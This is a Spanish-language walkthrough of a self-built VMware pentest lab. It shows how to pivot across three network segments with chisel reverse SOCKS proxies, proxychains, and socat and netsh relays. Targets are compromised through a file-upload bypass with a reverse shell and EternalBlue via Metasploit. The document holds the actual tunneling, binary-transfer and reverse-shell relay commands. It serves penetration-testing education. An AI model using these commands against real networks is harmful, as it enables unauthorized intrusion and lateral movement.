Laboratorio pivoting con socat y chisel
Contenido
- Conceptos.
- Esquema de red.
- Configuración del laboratorio local.
- Acceso target 1.
- Transferencia de archivo.
- Pivoting 1 con Chisel.
- Uso de Socks Proxy para enumerar target 2.
- Socks Proxy en navegador web para usar BurpSuite.
- Túnel con Socat para revershell y tener acceso a target 2.
- Creación de revershell para acceso a target 2.
- Pivoting 2 con Chisel.
- Túnel con Socat para revershell y tener acceso a target 3.
- Creación de revershell para acceso a target 3.
Conceptos
- Pivoting ⇒
Es un termino utilizado para definir la posibilidad de tener alcance a otro segmento de red por medio de una maquina comprometida.
- Socat ⇒ Descarga
Socat es una herramienta de red que ofrece una variedad de opciones y funcionalidades para administrar conexiones de red.
Es una herramienta para sistemas Linux, aunque también tiene ciertos binarios para Windows, pero no son muy comunes.
- Reenvió de puertos ⇒
Es la forma que se utiliza para permitir el acceso de conexiones externas a una red privada mediante la apertura de un puerto especifico.
- Sock Proxy ⇒
Es un protocolo de red que se utiliza para enrutar el trafico de red, siendo un intermediario (proxy) entre la comunicación cliente-servidor.
- Proxychains ⇒
Es una herramienta de línea de comando que realiza la función de servidor proxy bajo los protocolos HTTP, HTTPS, SOCKS4 y SOCK5, que permite redirigir el tráfico de red a través de un proxy.
- Chisel ⇒ Descarga
Chisel es una herramienta que permite proporcionar un túnel seguro para acceder a una red privada.
Esquema de red
Este punto es sumamente importante para comprender todo lo realizado en este laboratorio.
El laboratorio consiste en tres (3) objetivos de los cuales solo se tiene alcance a una maquina (target 1), por lo cual es necesario realizar la técnica de pivoting para lograr tener alcance a todos los objetivos.
Para lograr lo anteriormente descripto es necesario comprometer el target 1 y asi lograr abrir conexiones con las demás redes que se encuentran fuera del segmento de red de nuestra maquina local.
La distribución de las direcciones IP son:
- Maquina local: 192.168.17.128 (Parrot)
- Target 1: 192.168.17.134 (Linux)
- Target 2 : 10.10.20.131 (Windows 7)
- Target 3 : 10.10.30.192 (Windows 7)
Como se puede visualizar nuestra maquina mantiene la dirección IP 192.168.17.128 y nuestra maquina objetivo target 1 mantiene la dirección IP 192.168.17.134 ambas se encuentran dentro del mismo segmento de red, por lo cual se puede comunicar sin problemas entre ambas. Pero si apreciamos target 2 y 3 mantienen diferentes segmento de red, lo que significa que nuestra maquina local no tiene alcance a target 2 y 3.
Pero por otro lado las maquinas objetivos target 1 y 2 mantiene otros segmentos de red de manera interna la cual permite establecer comunicación entre ellas.
Veamos de manera gráfica el esquema de red completo:
Resumiendo la imagen, la maquina local con la dirección IP 192.168.17.128 se puede comunicar con la dirección IP 192.168.17.134 que corresponde al target 1; pero no logra alcance a la dirección IP 10.10.20.10 a pesar que se encuentra dentro del mismo objetivo, eso es porque tiene otro segmento de red. Para lograr tener alcance a la dirección IP 10.10.20.10 se debe comprometer target 1 y de esa manera mediante configuraciones de red poder establecer una conexión con dicho segmento de red y así ir saltando a las demás direcciones IP que corresponde a target 2 y 3.
Esto significa que es necesario comprometer target 1 mediante la dirección IP 192.168.17.134 que se tiene comunicación para posteriormente llegar a la dirección IP 10.10.20.10 y lograr tener alcance a la maquina target 2 con la dirección IP 10.10.20.131 y asi lograr alcanzar al segmento de red 10.10.30.190 que tiene comunicación con target 3 con la dirección IP 10.10.30.192.
Todo lo anteriormente descripto se conoce como pivoting y se puede utilizar diferentes herramientas y protocolos para establecer la comunicación y lograr el alcance a la red desde sus diferentes segmentos de red.
En este caso se realiza un POC completo de una prueba de pentesting para entender de manera práctica la realización del pivoting.
Configuraciones del laboratorio local
Una vez comprendido el esquema de red se debe realizar las configuraciones para levantar las maquinas locales y poder practicar la técnica de pivoting.
En mi caso todo se encuentra virtualizado en VMware; para realizar la configuraciones de red, se debe ingresar al menú superior de VMware (Edit) para que se despliegue las opciones para acceder a Virtual Network Editor.
Una vez dentro de la opción Virtual Network Editor se debe dar clip en Charge Settings.
Una vez que aceptes dar permisos para la configuración de la red, se procede agregar las tarjetas red para cada maquina, incluyendo la local.
En mi configuración determino Host-only para tener una red privada sin acceso a Internet y le entrego un segmento de red 192.168.17.0 con el nombre de VMnet0 que será asignada para la maquina local y target 1.
Nuevamente se repite los pasos y agregamos otra red con el nombre de VMnet1 para target 1 y 2 con un segmento de red 10.10.20.0.
Finalmente realizamos lo mismos pasos para VMnet3 y le entregamo el segmento de red 10.10.30.0 para target 2 y 3.
Quedando de la siguiente manera la configuración de la red.
Posteriormente se debe seleccionar de manera individual las maquinas que serán utilizadas, es decir la maquina local, target 1, target 2 y target 3 para entrar en el menú de cada host para asignar recursos y configuraciones de red.
La primera maquina que se realizara la configuración será nuestra maquina local, ingresando a Network Adapter para agregar la red VMnet0 que tiene el segmento de red 192.168.17.0/24.
Maquina local:
Luego se realiza la misma operación pero desde target 1 y se agrega el adaptador de red que corresponde a VMnet0 y VMnet1 para entregar los segmento de red 192.168.17.0/24 y 10.10.20.0/24.
Target 1:
Luego realizamos lo mismo con target 2 para asignar VMnet1 y VMnet3 para agregar el segmento de red 10.10.20.0/24 y 10.10.30.0/24.
Target 2:
finalmente se agrega la red VMnet3 al target 3 para asignar el segmento de red 10.10.30.0/24
Target 3:
Una vez realizado las configuraciones, se procede a encender las maquinas y verificar que los segmentos de red se encuentren activos.
Ejemplo desde Linux (ifconfig):
En el caso que no se visualice, se debe activar la red con las siguientes alternativas:
Para Linux:
ifconfig eth1 ip_target netmask 255.255.255.0 up
Para Windows:
Se puede ingresar a "Cambiar configuración del adaptador" y asignar lo que estime conveniente.
Una vez que se realiza las configuraciones de red para asignar los segmento correspondiente a cada maquina, se procede a realizar el laboratorio practico.
Acceso a target 1
Se realiza el reconocimiento del target 1 que corresponde a la dirección IP 192.168.17.134, para verificar los servicios que se están utilizando y obtener un punto de acceso al sistema.
Se realiza el ingreso al sistema por el puerto 23, donde se lograr tener credenciales de acceso de manera directa.
Dentro del sistema se procede a realizar la escala de privilegio.
Una vez obtenido el acceso como administradores del sistemas se procede a verificar la interfaz de red, logrando visualizar la dirección IP comprometida 192.168.17.134 y 10.10.20.10 de la cual no se mantiene alcance desde nuestra maquina local.
Con estos antecedentes se procede a realizar un reconocimientos de hosts activos que se encuentre en el segmento de red 10.10.20.0/24, con un pequeño script en Bash.
#!/bin/bash
for i in $(seq 1 255); do
bash -c "ping -c1 10.10.20.$i >/dev/null 2>&1" && echo -e "host activo => 10.10.20.$i"
done
echo "-----Finalizado-----"
El script se ejecuta desde nuestra maquina comprometida (target 1) y se puede apreciar que realiza la enumeración de hosts activos dentro del segmento de red 10.10.20.0/24.
Para lograr realizar el reconocimiento a la nueva dirección IP 10.10.20.131 que corresponde a target 2, es necesario realizar pivoting.
Transferencia de archivo
Lo primero que se debe determinar para realizar el pivoting es la herramienta que se utilizara para realizar las configuraciones de red y lograr tener alcance.
En este caso se utiliza Chisel, el cual debe estar presente tanto en la maquina local como del mismo modo en la maquina comprometida, es por esta razón que se procede a realizar una transferencia de Chisel hacia target 1, mediante un servidor HTTP.
Desde nuestra maquina local ejecutamos el siguiente comando.
python3 -m http.server --bind 192.168.17.128:8080
Posteriormente desde target 1 se procede a realizar la transferencia de archivo, ejecutando el siguiente comando.
wget http://192.168.17.128:8080/chisel_linux_64
Verificamos que se encuentra dentro de target 1.
Pivoting #1 con Chisel
Una vez realizado la transferencia del binario de Chisel a target 1, se procede a establecer una conexión cliente-servidor.
Desde nuestra maquina local iniciamos un servidor que se ejecute en el puerto 9001.
- server : Iniciar un servidor.
- reverse : Significa que el servidor se conectará a un cliente remoto.
./chisel_linux_64 server --reverse -p 9001
Posteriormente desde target 1 se crea el cliente con un proxy inverso en el puerto 1080.
./chisel_linux_64 client 192.168.17.128:9001 R:1080:socks
Finalmente realizamos las configuraciones en nuestra maquina local del archivo proxychains.conf para establecer el socks en el puerto determinado (1080).
sudo nano /etc/proxychains.conf
Uso de Sock Proxy para enumerar target 2
Una vez realiza las configuraciones con Chisel y Sock Proxy se puede tener alcance al segmento de red 10.10.20.0/24 y enumerar el target 2 que mantiene la dirección IP 10.10.20.131 anteponiendo proxychains para hacer uso del sock proxy.
Se analiza el servicio web que mantiene target 2, con la finalidad de encontrar un punto vulnerable que permita acceder al sistema.
Socks Proxy en navegador web para usar Burpsuite
Para poder utilizar BurpSuite y analizar de mejor manera el servidor web, se debe realizar las configuraciones para agregar nuestro socks proxy a nuestra herramienta.
Desde el menú de BurpSuite se debe seleccionar User Options y dirigirse hasta SOCKS Proxy y agregar nuestro local hosts y el puerto asignado anteriormente (1080).
Una vez realizadas las configuraciones se procede activar FoxyProxy en nuestro navegador web para logra tener alcance al target 2 (10.10.20.131).
Mediante la subida de archivo se procede a configurar una revershell que permita establecer una conexión y lograr acceder al sistema.
Túnel con Socat para revershell y tener acceso a target 2
Para lograr que tenga éxito nuestra revershell debemos crear un túnel que permita establecer la conexión directa desde la dirección IP 192.168.17.128 que corresponde a nuestra maquina local y la 10.10.20.131 que corresponde a target 2, en este caso se utilizara Socat para realizar las configuraciones de red.
- TCP-LISTEN:9002: Esta opción le dice a Socat que escuche las conexiones entrantes en el puerto 9002.
- bind=10.10.20.10: Esta opción especifica la dirección IP a la que debe vincularse el conector de escucha.
- fork: Esta opción le dice a socat que bifurque un nuevo proceso para manejar cada conexión entrante.
- reuseaddr: Esta opción permite reutilizar la conexión.
- TCP:192.168.17.128:9005: Esta opción especifica la dirección de destino y el puerto al que debe conectarse Socat.
- & : Pone el proceso en segundo plano.
Desde target 1 ejecutamos (192.168.17.134 - 10.10.20.10):
socat TCP-LISTEN:9002,bind=10.10.20.10,fork,reuseaddr TCP:192.168.17.128:9002&
En resumen, lo que realiza este comando es indicar que todo lo que llegue a la dirección IP 10.10.20.10 que se encuentra en el target 1, sea dirigido a la dirección IP 192.168.17.128 que corresponde a nuestra maquina local, por medio del puerto 9002.
Es importante verificar que se habilito el puerto señalado.
netstat -putona
Finalmente se debe dejar en nuestra maquina local el puerto en escucha.
Creación de revershell para acceso a target 2
Establezco la dirección IP donde llegara la revershell y el puerto. Es importante recercar que la revershell apunta a la dirección IP 10.10.20.10 que corresponde al target 1, esto es porque nuestro túnel creado en Socat indica que todo lo que llegue a la 10.10.20.10 debe ser enviado a la dirección IP 192.168.17.128 por el puerto 9002 y de esa manera establecer la conexión de la revershell a nuestra maquina local.
Finalmente se sube la revershell y realizamos el cambio del valor de los parámetros para eludir la restricción de carga de archivo que mantiene el servidor web.
Petición original:
Petición modificada:
Se ejecuta la revershell y establecemos conexión con target 2 que corresponde a la dirección IP 10.10.20.131.
Nuevamente verificamos la red, logrando apreciar que existe la dirección IP 10.10.20.131 que corresponde al target 2 ya comprometido y la dirección IP 10.10.30.190 de la cual no se mantiene alcance.
Se analiza la red que se encuentra dentro del segmento 10.10.20.0/24, logrando identificar la dirección IP 10.10.30.192 correspondiente al target 3.
Pivoting #2 con Chisel
En este punto ya mantenemos comprometida target 1 y 2, faltando solamente llegar al target 3. Como ocurrió anteriormente no mantenemos alcance a target 3 por lo cual se procede a realizar nuevamente las configuraciones para realizar el pivoting y lograr llegar al segmento de red 10.10.30.0/24.
Para eso, es necesario ejecutar Chisel como servidor desde target 1 e indicamos el puerto a utilizar.
Desde target 1:
./chisel_linux_64 server --reverse -p 9003
Desde target 2 se procede a establecer conexión con la dirección IP 10.10.20.10.
- start /B : Permite dejar en segundo plano la tarea en ejecución.
Desde target 2:
start /B chisel_win_32.exe client 10.10.20.10:9003 R:1090:socks
Verificamos que se estableció la conexión desde target 1.
Procedemos a realizar la configuración desde nuestra maquina local del archivo proxychains.conf para agregar el socks asignado al puerto 1090.
sudo nano /etc/proxychains.conf
Se verifica que se logra tener alcance al target 3.
Túnel con Socat para revershell y tener acceso a target 3.
Procedemos a crear un túnel para permitir establecer una conexión desde target 1 y 2 hasta la maquina local.
Desde target 2 (10.10.20.131 - 10.10.30.190):
- En Windows se remplaza Socat por netsh para realizar el túnel.
netsh interface portproxy add v4tov4 lidtenaddress=10.10.30.190 listenport=9004 connectaddres=10.10.20.10. connectport=9004
Desde target 1 (192.168.17.134 - 10.10.20.10):
socat TCP-LISTEN:9004,bind=10.10.20.10,fork,reuseaddr TCP:192.168.17.128:9004&
En resumen, lo que se esta indicando en la primera imagen que todo lo que llegue a la dirección IP 10.10.30.190 que corresponde al target 2, se direccione a la dirección IP 10.10.20.10 que corresponde al target 1 y finalmente en la segunda imagen se indica que todo lo que llegue a la 10.10.20.10 se direccione a la dirección IP 192.168.17.128 que corresponde a nuestra maquina local por el puerto 9004.
Creación de revershell para acceso a target 3
Finalmente se puede verificar que target 3 es vulnerable a Eternalblue y utilizamos Metasploit para ejecutar el exploit.
Desde nuestra maquina local procedemos a ejecutar Metasploit.
Realizamos la configuraciones correspondiente para establecer la conexión al sistema y lograr el acceso.
- RHOSTS: 10.10.30.192 (TARGET 3).
- LHOSTS: 10.10.30.190 (TARGET 2)
- LPORT: 9004
Ejecutamos y se logra el acceso.
Finalmente se logra comprometer todo el sistemas mediante la técnica de pivoting utilizando Socat para crear el túnel de red y lograr ejecutar las revershell y Chisel para tener alcance a los segmentos de red.
Finalmente el esquema del ataque fue de la siguiente manera:
💀Buen hacking!!
atte. LXBX.